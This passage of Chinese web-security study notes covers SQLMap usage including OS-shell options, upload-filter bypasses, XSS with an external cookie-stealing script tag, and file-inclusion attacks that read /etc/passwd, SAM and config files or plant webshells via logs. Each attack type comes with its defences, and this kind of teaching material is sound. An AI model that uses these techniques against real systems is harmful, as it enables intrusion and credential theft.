dbms_job | dbmsjob.sql | 按指定的时间或间隔执行用户定义的作业 |
dbms_lock | dbmslock.sql | 管理数据库块 |
dbms_output | dbmsotpt.sql | 将文本行写入内存供以后提取和显示 |
dbms_pipe | dbmspipe.sql | 通过内存‘管道’在会话之间发送并接收数据 |
dbms_profiler | dbmspbp.sql | 用于配置PL/SQL脚本以鉴别瓶颈问题 |
dbms_refresh | dbmssnap.sql | 管理能够被同步刷新的快照组 |
dbms_session | dbmsutil.sql | 程序执行alter session(改变会话)语句 |
dbms_shared_pool | dbmspool.sql | 查看并管理共享池内容 |
dbms_snapshot | dbmssnap.sql | 刷新,管理快照,并删除快照日志 |
dbms_space | dbmsutil.sql | 获取段空间信息 |
dbms_sql | dbmssql.sql | 执行动态SQL和PL/SQL |
dbms_system | dbmsutil.sql | 开/关给定会话的SQL追踪 |
dbms_transaction | dbmsutil.sql | 管理SQL事务 |
dbms_utility | dbmsutil.sql | 多种实用工具:对于一个给定的模式,重新编译存储子程序和包、分析数据库对象、格式化错误信息并调用堆栈用于显示、显示实例是否以并行服务器模式运行、以10ms间隔获取当前时间、决定数据库对象的全名、将一个PL/SQL表转换为一个使用逗号分隔的字符串,获取数据库版本/获取数据库版本/操作系统字符串 |
utl_raw | utlraw.sql | RAW数据转化为字符串 |
utl_file | utlfile.sql | 读/写基于ASCII字符的操作系统文件 |
utl_http | utilhttp.sql | 从给定的URL得到HTML格式的主页 |
dbms_lob | dbmslob.sql | 管理巨型对象 |
注入工具
SQLMap
SQLMap是一个开放源码的渗透测试工具,它可以自动检测和利用SQL注入漏洞,基于python编写。
特点:
-
数据库支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Sybase和SAP MaxDB
-
SQL注入类型包括SQL盲注,UNION注入,显错式注入,时间盲注盲推理注入和堆查询注入等技术
-
支持枚举用户,密码哈希,权限,角色,数据库,表和列
-
支持执行任意命令
-
自动识别密码加密方式,并且可以使用字典解密
-
支持数据导出功能
SQLMap参数 1.测试注入点权限 sqlmap.py -u [URL] -- privileges #测试所有用户的权限 sqlmap.py -u [URL] -- privileges -U sa #测试sa用户权限 2.执行shell命令 sqlmap.py -u [URL] --os0cmd="net user" #执行net user命令 sqlmap。py -u [URL] --os-shell #系统交互的shell 3.获取当前数据库名称 sqlmap.py -u [URL] --current-db 4.执行SQL命令 sqlmap.py -u [URL] --sql-shell #返回SQL交互的shell,可以执行sql语句 sqlmap.py -u [URL] --sql-query="sql" 5.POST提交方式 sqlmap.py -u [URL] --data "POST参数" 6.显示详细的等级 sqlmap.py -u [URL] --dbs -v 1 -v参数包含以下7个等级: 0:只显示python的回溯、错误和关键消息 1:显示信息和警告消息 2:显示调试消息 3:有效载荷注入 4:显示HTTP请求 5:显示HTTP响应头 6:显示HTTP响应页面的内容 7.注入HTTP请求 sqlmap.py -r head.text --dbs #head.txt内容为HTTP请求 8.直接连接到数据库 sqlmap.py -d "mysql://admin:admin&192.168.1.8:3306/tesrdb" --dbs 9.注入等级 sqlmap.py -u [URL] --level 3 10.将注入语句插入到指定位置 sqlmap.py -u "http://www.xxser.com/id/2*.html" --dbs #SQLMap无法识别哪里是对服务器提交的请求参数,所以SQLMap提供了”*“餐宿,将SQL语句插入到指定位置,这一用法常用于伪静态注入 11.使用SQLMap插件 sqlmap.py -u [URL] -tamper "space2morehash.py"
Pangolin
Pangolin(穿山甲),它能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。
穿山甲的特点如下:
- 全面的数据库支持,包括:Access、DB2、Informix、Microsoft SQL Server2000/2005/2008、MySQL、SqLite3、Oracle、PostgreSQL和Sybase
- 自动关键字分析能够减少人为操作,且判断结果更准确
- 预登录功能,在需要验证的情况下继续注入
- 支持HTTPS
- 自定义HTTP标题头功能
- 丰富的绕过防火墙功能
- 数据导出功能
- 测试过程简单,易操作
Havij
Havij是一款自动化的SQL注入工具,能自动挖掘可利用的SQL注入,还能够识别后台数据库类型,检索数据的用户名和密码hash、存储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。
Havij的常用模块
- Info模块展现了服务器的一些信息
- Tables模块展现了数据库内容信息
- Read File模块可读取文件
- Write File模块可向服务器写入文件
- CMD Shell模块可执行系统命令
- Query模块可执行SQL语句
- Find Admin模块可查找管理员管理入口
- MD5模块可破解MD5,Havij会进行在线查询而不是暴力破解
- Settings模块是最重要的一个模块,是Havij的配置模块,比如:诸如时间、线程、绕过Waf、预登录等
防止SQL注入
根据SQL注入的分类,防御主要分为两种:数据类型判断和特殊字符转义
严格的数据类型
防御数字型注入相对比较简单,只要在程序中严格判断数据类型即可。如:使用is_numeric()、ctype_digit()等函数判断数据类型,即可解决数字型注入
特殊字符转义
将特殊字符转义即可防御字符型SQL注入
使用预编译语句
框架技术
在众多的框架中,有一类框架专门与数据库打交道,被称为持久层框架,比较有代表性的有Hibernate、MyBatis、JORM等
存储过程
存储过程是在大型数据库系统中,一组为了完成特定功能或经常使用的SQL语句集,经编译后存储在数据库中。存储过程具有较高的安全性,可以有效防止SQL注入,但若编写不当,依然有SQL注入的风险
6.上传漏洞
Web应用程序通常会有文件上传的功能,只要web应用程序允许上传文件,就有可能存在文件上传漏洞。
解析漏洞
攻击者在利用上传漏洞时,通常会与web容器的解析漏洞配合在一起。常见的web容器有IIS,Nginx,Apache,Tomcat等
IIS解析漏洞
IIS6.0在解析文件时存在以下两个解析漏洞:
1.当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被当作IIS当作asp文件夹解析
2.当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行
Apache解析漏洞
在Apache1.x和Apache2.x中存在解析漏洞,但它们与IIS解析漏洞不同
Apache在解析文件时有一个原则:当碰到不认识的拓展名时,将会从后向前解析,直到碰到认识的拓展名为止,如果不认识,则会暴露其源代码
Apache首先会解析aa拓展名,如果不认识,则会解析xs拓展名,这样一直遍历到认识的拓展名为止,然后再将其进行解析
PHP CGI解析漏洞
Nginx是一款高性能的web服务器,通常用来作为php的解析容器
在php的配置文件中有一个关键的选项:cgi.fi:x_pathinfo。这些选项在某些版本中默认是开启的,在开启访问URL,比如:http://www.xxser.com/x.txt/x.php, x.php是不存在的文件,所以php将会向前递归解析,于是造成了解析漏洞,可以说此漏洞与Nginx关系并不是很大,但是由于Nginx与php配合很容易造成这种解析漏洞,所以php cgi漏洞常常被认为是Nginx解析漏洞
绕过上传漏洞
程序员在开发web应用程序时,一般都会涉及文件上传,比如:上传文档并提供下载,上传图片增加用户体验。文件上传的基本流程相同,客户端使用javascript验证,服务器端采用随机数来重命名文件,来防止文件重复。
程序员在防止上传漏洞时可以分为以下两种:
- 客户端检测:客户端使用javascript检测,在文件未上传时,就对文件进行验证
- 服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件拓展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码
图片一句话是将一句话木马插入在图片文件中,并且不损坏图片文件。可以使用Edjpgcom.exe程序制作图片一句话木马。
在插入一句话木马后,以文本的方式打开图片,就可以看到木马代码
客户端检测
针对客户端验证有非常多的绕过方式
1.使用Firebug
Firebug是一款开源的浏览器插件,它可以让web开发者轻松的调试HTML、Javascript、AJAX、CSS等前端脚本代码。
当单击‘提交’按钮后,Form表单会触发onsubmit事件,onsubmit时间会调用checkfile函数(检测文件拓展名是否合法),使用Firebug将onsubmit事件删除,这样就可以绕过Javascript函数验证。
查看HTML源代码,找到Form表单后,把onsubmit事件删除,Javascript验证将会失效
2.中间人攻击
使用Burp Suite按照正常的流程通过Javascript验证,然后在传输中的HTTP层做手脚。
首先把没把文件拓展名改为正常图片的拓展名,然后在上传时使用Burp Suite拦截上传数据,再将其中的拓展名改为PHP,就可以绕过客户端验证。
注意修改完文件拓展名后,要对请求头Content-Length和进行修改,否则会发生上传失败。
服务器端检测
服务器端验证主要包含以下几点:白名单与黑名单拓展名过滤、文件类型检测、文件重命名等操作
白名单与黑名单检测
在上传文件时,大多数程序员会对文件拓展名检测,验证文件拓展名通常有两种方式:白名单与黑名单
1.黑名单过滤方式:
黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的拓展名,服务端在接收文件后,与黑名单拓展名对比,如果发现文件拓展名与黑名单里的拓展名匹配,则认为文件不合法。
绕过黑名单检测的方式:
(1)攻击者可以从黑名单中找到web开发人员忽略的拓展名,如:cer
(2)在Upload.php中并没有对接收到的文件拓展名进行大小写转换操作,那就意味着可以上传asp、php这样的拓展名,而此类拓展名在windows平台依然会被web容器解析
(3)在windows系统下,如果文件名以"."或者空格作为结尾,系统会自动去除"."与空格,利用此特性也可以绕过黑名单验证。如:上传"asp."或者"asp "拓展名程序、服务器端接收文件名后在写文件操作时,windows将会自动去除小数点和空格
2.白名单过滤方式
白名单是定义允许上传的拓展名,白名单拥有比黑名单更好的防御机制。白名单也不能完全防御上传漏洞,例如:web容器为IIS6.0, 攻击者把木马文件名改为pentest.asp;1.jpg上传,此时的文件为JPG格式,从而可以顺利通过验证,而IIS6.0却会把pentest.asp;1.JPG当作ASP脚本程序来执行,最终攻击者可以绕过白名单的检测,并且执行木马程序
MIME验证
MIME类型用来设定某种拓展名文件的打开方式,当具有该拓展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为image/gif,CSS文件MIME类型为text/css。
可以通过使用Burp Suite将在HTTP请求中的Content-Type更改类型,通过程序验证
目录验证
在文件上传时,程序通常允许用户将文件放到指定的目录中,然而有些web开发人员为了让代码更“健壮”,通常会做一个操作,如果指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入。
在HTML代码中有一个隐藏标签<input type='hidden' name='extension' value='up'>
,这是文件上传时默认的文件夹,而我们对此参数是可控的,比如:使用Firebug将value值改为pentest.asp,并提交上传一句话图片木马文件。
截断上传攻击
截断上传攻击在ASP程序中最常见。使用Burp Suite拦截请求后,将文件上传名称更改为1.asp xxser.jpg
,然后单击HEX选项卡进入十六进制编辑模式,将文件名中空格的十六进制数20改为00,即NULL,单击‘GO’按钮,可以发现最终上传的文件为1.asp, 1.asp后面的字符都已经被截断。截断上传漏洞不仅出现在ASP程序上,在PHP、JSP程序中也存在这样的问题。
文本编辑器上传漏洞
常见的文本编辑器有CKEditor,Ewebeditor,UEditor,KindEditor,XHeditor等。这类编辑器的功能是非常类似的,比如都有图片上传,视频上传,远程下载等功能,这类文本编辑器也成为富文本编辑器。
以CKEditor编辑器为例
1.敏感信息暴露
CKEditor目录存在一些敏感文件,如果这些文件不删除,那么攻击者可以快速得到一些敏感信息。
2.黑名单策略错误
黑名单过滤了一些常见的文件拓展名,但是疏忽了asa、cer等未知风险拓展名
3.任意文件上传漏洞
除此之外还存在其他的漏洞,例如,ASP.NET二次上传,建立畸形文件夹等漏洞
修复上传漏洞
在经过分析上传漏洞之后,上传漏洞的最终形成原因主要有以下两点:
- 目录过滤不严,攻击者可能建立畸形目录
- 文件未重命名,攻击者可能利用web容器解析漏洞
1.接收文件及其文件临时路径
2.获取拓展名与白名单做对比,如果没有命令,程序推出
3.对文件进行重命名
7.XSS跨站脚本漏洞
XSS攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般是使用javascript语言编写的。
javascript可以用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就可以盗取用户Cookie、黑掉页面、导航到恶意网站,而攻击者需要做的仅仅是向web页面注入javascript代码。
攻击者可以在<script>
与</script>
之间输入javascript代码,实现一些“特殊效果”。在真实的攻击中,攻击者不仅仅弹出一个框,通常使用<script src='http://www.secbug.org/x.txt'></script>
方式来加载外部脚本,而在x.txt中就存放着攻击者的恶意javascript代码,这段代码可能是用盗取用户的cookie,也可能是监控键盘记录等恶意行为。
注:javascript加载外部的代码文件可以是任意拓展名(无拓展名也可以),如:<script src='http://www.secbug.org/x.jpg'></script>
,即使文件为图片拓展名x.jpg,但只要其文件中包含,javascript代码就会被执行。
XSS类型
XSS主要被分为三类,分别是:反射型、存储型、和DOM型。
反射型XSS
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。这个过程就像一次反射,故称为反射型XSS。
存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。
允许用户存储数据的web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。
存储型XSS与反射型XSS、DOM型XSS对比,具有更高的隐藏性,危害性也更大。它们之间最大的区别在于反射型XSS与DOM型执行都必须依靠用户手动去触发,而存储型XSS却不需要。
DOM XSS
DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
DOM的规定如下:
- 整个文档是一个文档节点
- 每个HTML标签是一个元素节点
- 包含在HTML元素中的文本是文本节点
- 每一个HTML属性是一个属性节点
- 节点与节点之间都有等级关系
基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段。
检测XSS
检测XSS一般分为两种方式,一种是手工检测,一种是软件自动检测,各有利弊。
手工检测XSS
使用手工检测web应用程序是否存在XSS漏洞时,最重要的是考虑哪里有输入、输入的数据在什么地方输出。
使用手工检测XSS时,一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。比如,测试某输入框是否存在XSS漏洞时,不要直接输入XSS跨站语句测试,应一步一步地进行,这样更有利于测试。
1.可得知输出位置
输入一些敏感字符,例如"<、>、"、()"等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。
在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不太容易,这时就可以输入"AAAAA<>'"&"字符串,然后在查找源代码的时候直接查找AAAAA或许比较方便
2.无法得知输出位置
非常多的web应用程序源代码是不对外公开的,这时在测试XSS时就有可能无法得知输入数据到底在何处显示,比如,测试某留言本是否存在XSS,那么在留言之后,可能需要经过管理员的审核才能显示,这时无法得知输入的数据在后台管理页面处于何种状态。例如:
在<div>标签中:<div>XSS Test</div>
在<input>标签中:<input type='text' name='content' value='XSS Test'>
对于这种情况,通常会采用输入""/>XSS Test"来测试。
全自动检测XSS
专业的XSS扫描工具有很多,XSSER,XSSF等,也有安全爱好者制作了扫描XSS漏洞的web服务,如:http://www.domxssscanner.com/ 专门用来扫描DOM类的XSS。
XSS高级利用
常见危害:
- 盗取用户Cookie
- 修改网页内容
- 网站挂马
- 利用网站重定向
- XSS蠕虫
XSS会话劫持
1.Cookie简介
Cookie是能够让网站服务器把少量文本数据存储到客户端的硬盘,内存,或是从客户端的硬盘、内存读取数据的一种技术。
Cookie按照在客户端中存储的位置,可分为内存Cookie和硬盘Cookie。
Cookie也是有限制的。大多数浏览器支持最大为4096B的Cookie,而且浏览器也限制站点可以在用户计算机上存储Cookie的数量,大多数浏览器只允许每个站点存储20个Cookie。
2.Cookie格式
当Cookie被保存在电脑硬盘时,不同的浏览器保存Cookie的位置也不相同,如:IE的Cookie保存位置在“C:\Documents and Settings\用户名\Cookies”文件夹中。每个Cookie文件都是一个TXT文件,都以“用户名@网站 URL”来命名。
Cookie由变量名(key)和值(value)组成,其属性里既有标准的cookie变量,也有用户自己创建的变量,属性中的变量用“变量=值”的形式来保存。
3.读写Cookie
像Javascript、Java、PHP、ASP.NET都拥有读写Cookie的能力。
4.Javascript操作Cookie
如果网站存在XSS跨站漏洞,那么利用XSS漏洞就有可能盗取用户的Cookie,使用用户的身份标识。
5.SESSION
SESSION在计算机中,尤其是在网络应用中,被称为“会话”。SESSION机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息。
web中的SESSION是指用户在浏览某个网站时,从进入网站到浏览器关闭所经过的这段时间,也就是一次客户端与服务器端的“对话”,被称为SESSION,当浏览器关闭后,SESSION自动注销。
当用户第一次连接到服务器时,会自动分配一个SESSIONID,这个SESSIONID是唯一的且不会重复的“编号”。如果服务器关闭或者浏览器关闭,SESSION将自动注销,当用户再次连接时,将会重新分配。
SESSION与Cookie最大的区别在于,Cookie是将数据存储在客户端,而SESSION是保存在服务器端,仅仅是客户端存储一个ID。相对来说,SESSION比Cookie要安全。
XSS Framework
随着XSS漏洞的兴起,一些XSS漏洞利用框架也随之出现,其中比较优秀的有BeEF、XSS Proxy、Backframe,像国内的XSSER.ME(XSS Platfrom)也是比较优秀的XSS漏洞利用框架。
XSS框架是一组“JavaScript工具集合”,比如,键盘输入记录,盗取Cookie,表单击劫持等。
XSS GetShell
XSS GetShell的意思就是利用XSS获取webshell。
XSS蠕虫
蠕虫病毒就是具有传染性的恶意软件,XSS蠕虫也具有传染性,与系统病毒的唯一区别就是无法对系统底层操作。因为XSS蠕虫一般是基于javascript编写,而javascript最大的用武之地就是web,但对于底层编程能力几乎为零。所以,一般来说,XSS蠕虫是针对浏览器的攻击,且网站规模越大,攻击效果就越大。在大用户量的情况下,XSS蠕虫完全可以在短时间内达到对巨大数量的“计算机”感染。
修复XSS跨站漏洞
XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤,在页面执行javascript等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞。
过滤方法:
1.输入与输出
将特殊字符转义
PHP提供了htmlspecialchars(),这个函数可以把一些预定义的字符转换为HTML实体。
预定义的字符如下:
&:&
":"
':'
<:<
>:- >
OWASPESAPI工具包是专门用来防御安全漏洞的API,如SQL注入,XSS,CSRF等知名漏洞。目前支持JavaEE,ASP,NET,PHP,Python等语言。
解决办法:
(1)在标签内输出
(2)在属性内输出
(3)在事件中输出
(4)在CSS中输出
(5)在script标签中输出
2.Httponly
Httponly对防御XSS漏洞不起作用,主要目的是为了解决XSS漏洞后续的Cookie劫持攻击。
在身份标识字段使用Httponly可以有效地阻挡XSS会话劫持攻击,但却不能够完全阻挡XSS攻击。因为XSS攻击的手段太多:模拟用户“正常操作”,盗取用户信息,钓鱼等,仅靠Httponly是不够的,防御的关键还是要通过过滤输入和输出的。
8.命令执行漏洞
命令执行漏洞是指攻击者可以随意执行系统命令,它不仅存在于B/S架构中,也存在于C/S架构中。
OS命令执行漏洞示例
在windows系统下,&&的作用是将两条命令连接起来执行。在linux系统下同样适用。另外&,||,|符号同样也可以作为命令连接符使用。
命令执行模型
命令执行漏洞是直接调用操作系统命令,所以叫做OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操作系统命令。
1.PHP命令执行
PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(), exec()和passthru()
2.Java命令执行
在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行指定的字符串命令,像JSP,Servlet,Spring,Hibernate等技术一般执行外部程序都会调用此方法。
框架执行漏洞
1.Struts2代码执行漏洞
2.ThinkPHP命令执行漏洞
防范执行漏洞
防范方法:
- 尽量不要使用系统执行命令
- 在进入执行命令/函数之前,变量一定要做好过滤,对敏感字符进行转义
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对PHP语言来说,不能完全控制的危险函数最好不要使用
9.文件包含漏洞
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。
程序开发人员通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
包含漏洞原理解析
大多数web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中。
PHP包含
PHP中提供了四个文件包含的函数,分别是include(),include_once(),require(),require_once()
require:找不到被包含的文件时会产生致命错误(E_COMPLE_ERROR),并停止错误
include:找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行
require_once:此语句和include()语句类似,唯一区别就是如果该文件中二点代码已经被包含,则不会再次包含
require_once:此语句和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
PHP文件包含利用
常见的攻击方式:
(1)读取敏感文件
访问URL:http://www.xxser.com/index.php/?page=/etc/passwd,如果目标主机文件存在,并且具有响应的权限,那么就可以读出文件的内容,反之,就会得到一个类似于:open_basedirrestriction in effect的警告。
常见的敏感信息路径:
①windows系统:
C:\boot.ini --查看系统版本
C:windows\system32\inetsrv\MetaBase.xml --IIS配置文件
C:\windows\repair\sam --存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini --Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD --mysql root
C:\windows\php.ini --php配置文件
C:\windows\my.ini --Mysql配置文件
...
②UNIX/Linux系统
/etc/passwd
/usr/local/app/apache2/conf/http.conf --apache2默认配置文件
usr/local/app/apache2/conf/extra/httpd-vhosts.conf --虚拟网站设置
/usr/local/app/php5/lib/php.ini --php相关设置
/etc/httpd/conf/httpd.conf --apache相关配置
/etc/my.cnf --Mysql的配置文件
...
(2)远程包含shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马
(3)本地包含配合文件上传
(4)使用PHP封装协议
PHP内置协议
file:// --访问本地文件系统
http:// --访问HTTP(s)网址
ftp:// --访问FTP(s)URLs
php:// --访问输入/输出流(I/O streams)
zlib:// --压缩流
data:// --数据(RFC 2397)
ssh2:// --Secure Shell2
expect:// --处理交互式的流
glob:// --查找匹配的文件路径
①使用封装协议读取PHP文件
使用PHP内置封装协议可以读取PHP文件,例子如下: http://www.xxser.com/index.php?
page=php://filter/read=conver.base64-encode/resourse=config.php
②写入PHP文件
使用php://input可以执行PHP语句,但是受限于allow_url_include选项,也就是说只有allow_url_include为on时才可以使用。
(5)包含Apache日志文件
某个PHP文件存在本地包含漏洞导致无法上传文件时,还可以找到Apache路径,利用包含漏洞包含Apache日志文件也可以获取webshell。Apache运行后一般默认生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。
攻击者利用存在包含漏洞的页面去包含access.log,即可成功执行其中的php代码,攻击者在使用Apache日志文件包含时,首先需要确定Apache的日志路径,否则即使攻击者将PHP木马写入日志文件,也无法包含。
Apache的路径是重点,所以安装Apache时,尽量不要使用默认路径
(6)截断包含
(7)绕过WAF防火墙
文件包含有时还被用来制作后门,躲避web杀毒软件的检测。
JSP包含
JSP包含分两种方式:静态包含和动态包含
1.静态包含:
<%@include file="page.txt"%>为JSP中的静态包含语句,静态包含语句先进行包含,再做处理操作。
JSP语法规定:include指令为静态包含,只允许包含一个已经存在于服务器中的文件,而不能使用变量来控制包含某个静态文件,这就意味使用include指令将不存在文件包含漏洞
2.动态包含
<jsp:iclude page="page.txt"/>为动态包含语句。动态包含语句在运行时,首先会处理被包含页面,然后在包含,而且还可以包含一个动态页面(变量)
安全编写包含
造成包含漏洞的根本原因是:被包含的页面可以被攻击者所控制,也就是说,攻击者可以随心所欲地去包含某个页面。
方案:
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符如:"../"
- 包含文件验证:验证被包含的文件是否是白名单中的一员
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php")。
10.其他漏洞
CSRF
CSRF是指跨站请求伪造,也常常被称为“One Click Attack”或者“Session Riding”,通常缩写为CSRF或是XSRF。CSRF与XSS攻击方式完全不同,但却更加难以防范,更具危险性,有“苏醒的巨人”称号。
CSRF攻击原理
- CSRF的攻击建立在浏览器与web服务器的会话中
- 欺骗用户访问URL
1.CSRF攻击场景(GET)
CSRF攻击是黑客节注受害者的Cookie骗取服务器的新人,但是黑客并不能获取到Cookie,也看不到Cookie的内容,另外,由于浏览器同源策略的限制,黑客无法从返回的结果中得到任何东西,CSRF所能做的就是给服务器发送请求。
2.CSRF攻击场景(POST)
对CSRF来说,POST,GET请求是没有任何区别的,只不过POST请求方式多了一些代码
3.浏览器Cookie机制
Cookie的两种表现形式:一种是本地Cookie,又称为持久性cookie,另一种则是临时Cookie,又称为Session Cookie。两者的区别在于持久性Cookie是服务器端脚本语言向客户端发送Cookie时制定了失效,也就是Expire字段,而且会存储于本地,当Expire所制定的时效过期后,Cookie将失效。而Session Cookie则没有制定Expire时效,是存储在浏览器内存中的,当浏览器关闭后,Session Cookie也随之消失。
4.检测CSRF漏洞
检测CSRF攻击主要分为两种,手工检测和半自动检测
(1)手工检测
CSRF只能通过用户的正规操作进行攻击,实际上就是劫持用户操作。所以在检测前首先需要确定web应用程序的所有功能,以及确定哪些操作是敏感的,比如修改密码,转账,发表留言等功能。
确定了敏感性操作后,使用这项“功能”拦截HTTP请求,比如,删除用户操作URL为:“http://www.xxser.com/delUser.action?id=1”,可以猜想,此时的参数项ID应该是用户的唯一标识信息,通过此ID可以删除指定的用户。在确定参数项的意义后,就可以验证该项功能是否存在CSRF漏洞。
CSRF漏洞也可以理解为:服务器到底有没有执行POC的请求,如果已执行,则代表存在CSRF漏洞。
(2)半自动检测
半自动检测工具:CSRFTester
5.预防跨站请求伪造
(1)二次验证
在调用某些功能时进行二次验证。
(2)Token认证
Token即标志、记号的意思,在IT领域也叫做令牌。类似于验证码,Token是一个不用输入的验证码,当用户登录web应用程序后,首先服务器端会随机产生一段字符串分配给此用户,并且存储在session中,当用户进入某些页面中,直接传递在用户界面或Coookie中。当用户进行提交表单操作时,这段token代码也会随之被提交。当服务器端接收到数据时,就会判断这段“验证码”是否与session中存储的字符串一致,如果一致则认为是合法的请求,如果不一致,则有可能是CSRF攻击。
在使用Token防御CSRF时,详细步骤如下:
(1)每当用户登陆后会随机生成一段字符串,并且存储在session中
(2)在敏感操作中加入隐藏标签,value即为session中保存的字符串
(3)提交请求后,服务器端取出session中的字符串与提交的Token对比,如果一致,则认为是正常请求,否则可能是CSRF攻击
(4)更新Token值
逻辑错误漏洞
逻辑漏洞只出现在业务流程中(模板功能),也就是说,网站的任何部分都有可能存在着逻辑漏洞。
黑客在挖掘逻辑漏洞时的操作步骤如下:
-
发现网站所提供的功能模块。比如:修改密码,找回密码等功能
-
针对具体的功能确定业务流程,详细划分具体步骤
-
拦截HTTP/HTTPS请求,分析其参数项的含义
-
修改参数值,尝试触发逻辑漏洞
-
返回第二步,对其它功能继续测试
简单地说,黑客挖掘逻辑漏洞有两个重点,就是业务流程和HTTP/HTTPS请求篡改。
常见的逻辑漏洞: 1.绕过授权验证 授权在网络上的意思是指,对特定资源的读写权限。验证标识你是否真的可以对这些资源进行读写。 授权问题是指访问了没有授权的资源和信息,也叫做越权。越权又可以发为:水平越权和垂直越权。 (1)水平越权 水平越权就是相同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问,修改或者删除的非法操作,如果出现此类漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。 (2)垂直授权 垂直越权是不同级别之间或不同角色之间的越权。 垂直越权又被分为向上越权与向下越权。 2.密码找回逻辑漏洞 为防止用户遗忘密码,大多数网站都提供了找回密码功能。在找回密码时,除了自己的用户密码,如果还能找回其他用户的密码,就存在密码找回漏洞。 测试密码找回漏洞与其他逻辑漏洞的方法相同,其中必经的两个步骤是:熟悉业务流程(密码找回过程)与对流程中的HTTP请求分析。 3.支付逻辑漏洞 在测试支付逻辑漏洞时,也有几个侧重点,就是由用户提交的参数,如:购买数量、商品价格、折扣、运费、商品信息的中转页面、跳转到支付接口等参数。 常见的逻辑支付漏洞场景: ①商品数量为附属 ②0元购买商品 ③指定账户恶意攻击
代码注入
代码注入,OWASP将其定义为在客户端提交的代码在服务器端接收后当作动态代码或嵌入文件处理。
XML注入
XML是可扩展标识语言的简写。XML的设计宗旨是传输数据。XML是各种应用程序之间数据传输中最常用的工具。
XML注入是通过改写XML实现的,此漏洞利用成功的关键点就是闭合XML标签。
XML注入时的两大要素为:标签闭合和获取XML表结构。
XML修复是比较简单的事情,只要将预定义字符进行转移即可.
预定义字符:
< -- <
> -- >
& -- &
' -- &apos
" -- "
XPath注入
XPath即为XML路径语言,XPath基于XML的树状结构,提供在数据结构树中寻找节点的能力,简单地说,XPath就是选取XML节点的一门语言。
XPath使用路径表达式在XML文档中选取节点。
XPath基础语法:
/ -- 从根节点选取
// -- 从匹配选择的当前节点选择文档中的节点
. -- 选取当前节点
.. -- 选取当前节点的父节点
@ -- 选取属性
* -- 通配符。选择所有的元素,与元素名无关
@* -- 属性通配符,选择所有的属性,与名称无关
: -- 属性通配符,选择所有的属性,与名称无关
() -- 为运算分组,明确设置优先级
[] -- 应用筛选模式
or -- 与
and -- 并且
对于一些敏感信息,不要使用XML传输,如果需要尽量使用密文传输
防御XPath注入最重要的是对预定义字符的转换
JSON注入
JSON是一种轻量级的数据交换格式。它基于javascript的一个子集。
JSON是根据引号(""),冒号(:),逗号(,)和花括号({})区分各字符的意义的。如果有恶意用户向JSON中注入恶意字符,那么JSON将解析失败。
防御JSON注入只需要对其关键字符进行转义即可。
HTTP Parameter Pollution
HTTP Parameter Pollution即HTTP参数午然,简称HPP。他就是web容器处理HTTP参数的问题。
HTTP参数午然的作用是绕过一些web应用防火墙,简单地说,WAF在脚本还未接收到请求之前就开始对数据进行校验,如果未发现恶意代码,则交给脚本去处理,如果发现恶意代码,就进行拦截,不再交给脚本去处理。
URL跳转与钓鱼
URL跳转
URL跳转一般分为两种,一种为客户端跳转,一种为服务器端跳转。
1.客户端跳转
客户端跳转也被称为URL重定向,用户浏览器的地址栏URL会有明显的变化。
2.服务器端跳转
服务器端跳转也称为URL转发,服务器端跳转时,用户浏览的地址栏URL是不会发生变化的,但是页面会发生变化。
钓鱼
